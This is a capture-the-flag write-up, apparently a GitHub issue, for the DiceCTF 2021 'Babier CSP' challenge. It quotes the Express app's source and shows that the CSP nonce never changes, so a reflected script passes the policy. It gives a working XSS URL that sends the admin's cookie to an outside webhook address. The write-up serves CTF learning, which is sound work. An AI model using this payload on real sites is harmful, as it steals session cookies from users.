DiceCTF 2021 - Babier CSP
aszx87410 opened this issue · comments
The goal is to steal admin's cookie so we know it's something to do with XSS.
So all we need to do is generate a link with XSS and submit to admin bot.
source code:
const express = require('express');
const crypto = require("crypto");
const config = require("./config.js");
const app = express()
const port = process.env.port || 3000;
const SECRET = config.secret;
const NONCE = crypto.randomBytes(16).toString('base64');
const template = name => `
<html>
${name === '' ? '': `<h1>${name}</h1>`}
<a href='#' id=elem>View Fruit</a>
<script nonce=${NONCE}>
elem.onclick = () => {
location = "/?name=" + encodeURIComponent(["apple", "orange", "pineapple", "pear"][Math.floor(4 * Math.random())]);
}
</script>
</html>
`;
app.get('/', (req, res) => {
res.setHeader("Content-Security-Policy", `default-src none; script-src 'nonce-${NONCE}';`);
res.send(template(req.query.name || ""));
})
app.use('/' + SECRET, express.static(__dirname + "/secret"));
app.listen(port, () => {
console.log(`Example app listening at http://localhost:${port}`)
})
If you look carefully, you should find that nonce won't changed after server started, so it's quite easy to bypass CSP.
https://babier-csp.dicec.tf/?name=
</h1><script nonce="LRGWAXOY98Es0zz0QOVmag==">
window.location =
'https://webhook.site/b3d7bde5-a4c4-4794-a026-225bb6dec91d?c='%2bdocument.cookie
</script>
Then we can get a link from cookie: https://babier-csp.dicec.tf/4b36b1b8e47f761263796b1defd80745/
Follow the link we can get the flag: